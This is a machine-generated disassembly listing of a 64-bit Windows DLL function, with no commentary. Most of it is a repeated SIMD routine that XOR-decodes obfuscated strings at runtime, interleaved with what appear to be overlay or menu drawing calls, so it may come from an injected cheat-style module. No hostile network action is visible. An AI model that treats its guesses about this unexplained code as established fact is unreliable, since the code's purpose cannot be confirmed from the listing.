movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180093db0
cmp r8d, 0x17
jge 0x180093ef4
movsxd rax, r8d
lea r9, [rbp + 0x2658]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x180093ec0
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x2658]
call fcn.180002c70
test al, al
je 0x180093f41
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x180093f41
mov rax, qword [0x1802492f0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x180093f41
mov rax, qword [0x1802491f8]
mov rbx, qword [0x180249400]
call rax
mov rcx, rax
xor r8d, r8d
xor edx, edx
call rbx
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x5b8]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c36e0]
movss dword [rbp + 0x5c0], xmm0
movsd xmm0, qword [str.sYY_V]
mov dword [rbp + 0x1818], eax
movzx eax, byte [0x1801c36e4]
movsd qword [rbp + 0x1810], xmm0
mov byte [rbp + 0x181c], al
mov dword [rbp + 0x5c4], 0x42200000
cmp r12d, 2
jl 0x180094094
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.sYY_V]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1810], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1814]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1814], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1810]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800940a1
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x1810]
call fcn.180002c70
test al, al
je 0x180094119
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x180094119
mov rax, qword [0x1802492f0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x180094119
mov r9b, 1
mov r8d, reloc.WS2_32.dll_select
mov rcx, rsi
call fcn.1800ea980
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x5c8]
call fcn.180016840
cmp byte [0x1801c36f5], r14b
movss xmm0, dword [rax]
mov eax, dword [str.JJ2_C]
movss dword [rbp + 0x5d0], xmm0
movsd xmm0, qword [str.rKXXWY]
mov dword [rbp + 0x1968], eax
movzx eax, word [0x1801c36f4]
movsd qword [rbp + 0x1960], xmm0
mov word [rbp + 0x196c], ax
mov dword [rbp + 0x5d4], 0x42200000
je 0x1800942c4
mov r8d, r14d
cmp r12d, 2
jl 0x18009427a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.rKXXWY]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1960], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1964]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1964], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1960]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180094290
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x1960]
call fcn.180002c70
test al, al
je 0x180094308
mov rcx, qword [0x18024b0a0]
test rcx, rcx
je 0x180094308
mov rax, qword [0x1802492f0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x180094308
xor r9d, r9d
mov r8d, reloc.WS2_32.dll_select
mov rcx, rsi
call fcn.1800ea980
movzx eax, word [0x1801c3700]
lea rdx, [0x180249008]
movsd xmm0, qword [str.XJW]
lea rcx, [rbp + 0x13c8]
movss xmm3, dword [0x1801ad880]
movaps xmm2, xmm7
movsd qword [rbp + 0x13c8], xmm0
xor byte [rbp + 0x13c9], 0x37
xor byte [rbp + 0x13ca], 0x38
xor byte [rbp + 0x13cb], 0x39
xor byte [rbp + 0x13cc], 0x3a
xor byte [rbp + 0x13cd], 0x3b
xor byte [rbp + 0x13ce], 0x3c
xor byte [rbp + 0x13cf], 0x3d
mov word [rbp + 0x13d0], ax
movzx eax, byte [0x1801c3702]
xor byte [rbp + 0x13d0], 0x3e
xor al, 0x40
xor byte [rbp + 0x13d1], 0x3f
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x13d2], al
mov byte [rbp + 0x13c8], 0x48
mov qword [rsp + 0x20], r15
call fcn.180008e50
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x5d8]
movss xmm7, dword [0x1801c6db8]
addss xmm0, xmm7
mov dword [rbp + 0x5d8], 0x44070000
movss dword [rbp + 0x5dc], xmm0
call fcn.180025700
movzx ecx, word [0x1801c3708]
lea rdx, [rbp + 0x5e0]
mov eax, dword [0x1801c3704]
mov r9d, 8
mov dword [rbp + 0x230], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x231], 0x37
xor al, 0x3c
xor byte [rbp + 0x232], 0x38
xor byte [rbp + 0x233], 0x39
mov word [rbp + 0x234], cx
xor cl, 0x3a
xor byte [rbp + 0x235], 0x3b
mov byte [rbp + 0x234], cl
lea rcx, [rbp + 0x230]
mov dword [rbp + 0x5e0], 0x43a00000
mov dword [rbp + 0x5e4], 0x4405c000
mov byte [rbp + 0x230], Ordinal_79
mov byte [rbp + 0x236], al
call fcn.18000fcc0
movups xmm0, xmmword [0x1801c3710]
mov dword [rbp + 0x5e8], 0x43a00000
mov dword [rbp + 0x5ec], 0x43ed8000
movups xmmword [rbp + 0x1d80], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800945f4
cmp r12d, 2
jl 0x1800945b5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1d84]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800944c0
jmp 0x1800945f4
lea r9, [rbp + 0x1d80]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800945c0
xor r9d, r9d
lea rdx, [rbp + 0x5e8]
mov r8b, 1
lea rcx, [rbp + 0x1d80]
call fcn.180003d00
mov eax, dword [0x1801c3728]
mov r8d, r14d
movsd xmm0, qword [0x1801c3720]
mov dword [rbp + 0x1c08], eax
movzx eax, word [0x1801c372c]
mov word [rbp + 0x1c0c], ax
movzx eax, byte [0x1801c372e]
mov byte [rbp + 0x1c0e], al
movsd qword [rbp + 0x1c00], xmm0
cmp r12d, 2
jl 0x18009473e
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3720]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c00], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c04]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c04], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c00]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180094750
lea r15, [0x18024dc70]
mov qword [rsp + 0x28], r14
mov rdx, r15
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rcx, [rbp + 0x1c00]
mov r8d, 0x40
call fcn.18004a6e0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
cmp byte [0x1801c3737], r14b
mov rax, qword [str._RPPYWYeGYNTeuSMV__B]
mov qword [rbp + 0x5f8], rax
mov dword [rbp + 0x5f0], 0x43b90000
mov dword [rbp + 0x5f4], 0x43520000
je 0x180094924
cmp r12d, 2
jl 0x1800948dd
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x5f8]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x5f8], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x5fc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x5fc], xmm2
jmp 0x180094924
lea r9, [rbp + 0x5f8]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800948f0
xor r9d, r9d
lea rdx, [rbp + 0x5f0]
mov r8b, 1
lea rcx, [rbp + 0x5f8]
call fcn.18000fcc0
mov ebx, r14d
lea rdi, [0x18024c538]
nop word [rax + rax]
mov rsi, qword [rdi]
mov rax, r13
inc rax
cmp byte [r15 + rax], r14b
jne 0x180094956
test rax, rax
je 0x180094974
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x1800949a7
cmp dword [0x18024b504], ebx
lea r9, [rbp + 0x600]
mov rcx, rsi
mov dword [rbp + 0x600], r14d
sete dl
mov dword [rbp + 0x604], r14d
xor r8d, r8d
call fcn.180008320
test al, al
je 0x1800949a7
mov dword [0x18024b4f0], ebx
inc ebx
add rdi, 8
cmp ebx, 0x291
jl 0x180094950
call fcn.180013d50
mov eax, dword [0x18024b4f0]
movsd xmm0, qword [0x1801c3738]
movsd qword [rbp + 0x1820], xmm0
cmp eax, r13d
je 0x1800949db
mov dword [0x18024b504], eax
mov eax, dword [0x1801c3740]
mov r8d, r14d
mov dword [rbp + 0x1828], eax
movzx eax, byte [0x1801c3744]
mov byte [rbp + 0x182c], al
cmp r12d, 2
jl 0x180094aee
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3738]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1820], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1824]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1824], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1820]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180094b00
lea rdx, [0x180249470]
lea rcx, [rbp + 0x1820]
call fcn.1800032d0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
movzx ecx, word [0x1801c3750]
lea rdx, [0x180249462]
movzx eax, byte [0x1801c3752]
movsd xmm0, qword [str.eGYNTeoXZ_]
xor al, 0x40
movsd qword [rbp + 0x13d8], xmm0
xor byte [rbp + 0x13d9], 0x37
xor byte [rbp + 0x13da], 0x38
xor byte [rbp + 0x13db], 0x39
xor byte [rbp + 0x13dc], 0x3a
xor byte [rbp + 0x13dd], 0x3b
xor byte [rbp + 0x13de], 0x3c
xor byte [rbp + 0x13df], 0x3d
mov word [rbp + 0x13e0], cx
xor cl, 0x3e
xor byte [rbp + 0x13e1], 0x3f
mov byte [rbp + 0x13e0], cl
lea rcx, [rbp + 0x13d8]
mov byte [rbp + 0x13d8], 0x53
mov byte [rbp + 0x13e2], al
call fcn.1800032d0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x608]
call fcn.180016840
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x110]
movss xmm0, dword [rax]
mov eax, dword [0x1801c3754]
mov dword [rbp + 0x110], eax
movzx eax, word [0x1801c3758]
xor byte [rbp + 0x111], 0x37
xor byte [rbp + 0x112], 0x38
xor byte [rbp + 0x113], 0x39
mov word [rbp + 0x114], ax
xor al, 0x3a
xor byte [rbp + 0x115], 0x3b
mov byte [rbp + 0x114], al
movss dword [rbp + 0x610], xmm0
mov dword [rbp + 0x614], 0x42200000
mov byte [rbp + 0x110], 0x53
call fcn.180002c70
test al, al
je 0x180094c70
mov byte [0x180249461], 1
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
cmp byte [0x1801c376d], r14b
mov eax, dword [0x1801c3768]
movsd xmm0, qword [0x1801c3760]
mov dword [rbp + 0x1978], eax
movzx eax, word [0x1801c376c]
mov word [rbp + 0x197c], ax
mov dword [rbp + 0x618], 0xbf800000
mov dword [rbp + 0x61c], 0x42200000
movsd qword [rbp + 0x1970], xmm0
je 0x180094e04
mov r8d, r14d
cmp r12d, 2
jl 0x180094dc3
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3760]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1970], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1974]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1974], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1970]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180094dd0
lea rdx, [rbp + 0x618]
lea rcx, [rbp + 0x1970]
call fcn.180002c70
test al, al
je 0x180094e24
mov byte [0x18024dcb0], 1
jmp 0x180094e31
cmp byte [0x18024dcb0], r14b
je 0x180094fb9
cmp byte [0x1801c377d], r14b
mov eax, dword [0x1801c3778]
movsd xmm0, qword [0x1801c3770]
mov dword [rbp + 0x1988], eax
movzx eax, word [0x1801c377c]
mov word [rbp + 0x198c], ax
movsd qword [rbp + 0x1980], xmm0
je 0x180094fa4
mov r8d, r14d
cmp r12d, 2
jl 0x180094f62
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3770]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1980], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1984]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1984], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1980]
add r9, rax
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180094f70
xor edx, edx
lea rcx, [rbp + 0x1980]
call fcn.1800203d0
mov byte [0x18024dcb0], r14b
cmp byte [0x1801c378d], r14b
mov eax, dword [0x1801c3788]
movsd xmm0, qword [str.eGYNTeD]
mov dword [rbp + 0x1998], eax
movzx eax, word [0x1801c378c]
mov word [rbp + 0x199c], ax
movsd qword [rbp + 0x1990], xmm0
je 0x180095134
mov r8d, r14d
cmp r12d, 2
jl 0x1800950ea
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.eGYNTeD]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1990], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1994]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1994], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1990]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180095100
xor edx, edx
lea rcx, [rbp + 0x1990]
mov r8d, 0x105
call fcn.180010810
test al, al
je 0x180095419
cmp byte [0x1801c379d], r14b
mov eax, dword [str.P__xC]
movsd xmm0, qword [0x1801c3790]
mov dword [rbp + 0x19a8], eax
movzx eax, word [0x1801c379c]
mov word [rbp + 0x19ac], ax
movsd qword [rbp + 0x19a0], xmm0
je 0x1800952c4
mov r8d, r14d
cmp r12d, 2
jl 0x180095281
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3790]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x19a0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19a4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19a4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19a0]
add r9, rax
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180095290
mov qword [rsp + 0x28], r14
lea rdx, str.sultan
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x19a0]
call fcn.18004a6e0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
mov eax, dword [str.eGYNT_]
lea rdx, [rbp + 0x620]
